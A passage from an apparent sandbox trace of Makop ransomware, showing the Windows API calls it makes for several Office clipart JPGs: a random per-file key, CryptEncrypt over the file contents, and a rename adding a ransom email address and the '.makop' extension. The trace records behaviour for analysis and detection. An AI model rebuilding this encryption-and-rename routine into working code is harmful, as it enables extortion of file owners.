lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0137.084] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.084] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.084] GetProcessHeap () returned 0x48a0000 [0137.084] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.084] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.084] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.084] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.084] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.084] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.084] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.085] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.085] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.085] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.085] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.085] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.085] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4ec6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4ec6, lpOverlapped=0x0) returned 1 [0137.087] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4ed0, dwBufLen=0x4ed0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4ed0) returned 1 [0137.087] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.087] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4ed0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4ed0, lpOverlapped=0x0) returned 1 [0137.087] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.087] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4fa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.087] SetEndOfFile (hFile=0xf0) returned 1 [0137.095] GetProcessHeap () returned 0x48a0000 [0137.095] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.095] GetProcessHeap () returned 0x48a0000 [0137.095] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.095] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.095] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.096] CloseHandle (hObject=0xf0) returned 1 [0137.096] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x49ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341742.JPG", cAlternateFileName="")) returned 1 [0137.097] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG") returned 63 [0137.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.098] GetProcessHeap () returned 0x48a0000 [0137.099] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.099] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.099] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.099] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0137.103] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.103] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.103] GetProcessHeap () returned 0x48a0000 [0137.103] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.103] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.103] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.103] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.103] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.103] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.104] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.104] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.104] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.104] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.104] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.104] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.104] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x49ba, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x49ba, lpOverlapped=0x0) returned 1 [0137.106] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x49c0, dwBufLen=0x49c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x49c0) returned 1 [0137.106] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.106] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x49c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x49c0, lpOverlapped=0x0) returned 1 [0137.106] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.106] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4a94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.107] SetEndOfFile (hFile=0xf0) returned 1 [0137.113] GetProcessHeap () returned 0x48a0000 [0137.113] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.113] GetProcessHeap () returned 0x48a0000 [0137.113] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.113] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.113] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.115] CloseHandle (hObject=0xf0) returned 1 [0137.115] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10bdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382836.JPG", cAlternateFileName="")) returned 1 [0137.115] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG") returned 63 [0137.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.116] GetProcessHeap () returned 0x48a0000 [0137.116] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.116] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.116] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.116] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.120] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.120] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.121] GetProcessHeap () returned 0x48a0000 [0137.121] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.121] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.121] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.121] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.121] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.121] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.122] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.122] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.122] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.122] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.122] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.122] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.122] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x10bdc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x10bdc, lpOverlapped=0x0) returned 1 [0137.124] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x10be0, dwBufLen=0x10be0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x10be0) returned 1 [0137.125] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.125] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x10be0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x10be0, lpOverlapped=0x0) returned 1 [0137.126] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.126] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x10cb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.126] SetEndOfFile (hFile=0xf0) returned 1 [0137.132] GetProcessHeap () returned 0x48a0000 [0137.132] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.132] GetProcessHeap () returned 0x48a0000 [0137.132] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.132] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.132] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.141] CloseHandle (hObject=0xf0) returned 1 [0137.141] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ce5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382925.JPG", cAlternateFileName="")) returned 1 [0137.141] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG") returned 63 [0137.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.142] GetProcessHeap () returned 0x48a0000 [0137.142] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.142] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.142] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.142] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0137.146] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.146] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.146] GetProcessHeap () returned 0x48a0000 [0137.146] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.146] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.146] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.146] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.146] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.146] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.146] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.146] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.147] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.147] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.147] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.147] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.147] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1ce5a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1ce5a, lpOverlapped=0x0) returned 1 [0137.150] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ce60, dwBufLen=0x1ce60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ce60) returned 1 [0137.150] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.151] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1ce60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1ce60, lpOverlapped=0x0) returned 1 [0137.151] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.151] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1cf34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.152] SetEndOfFile (hFile=0xf0) returned 1 [0137.158] GetProcessHeap () returned 0x48a0000 [0137.159] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.159] GetProcessHeap () returned 0x48a0000 [0137.159] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.159] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.159] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.160] CloseHandle (hObject=0xf0) returned 1 [0137.160] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1672c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382926.JPG", cAlternateFileName="")) returned 1 [0137.160] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG") returned 63 [0137.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG" (normalized: "c:\\program files\\microsoft 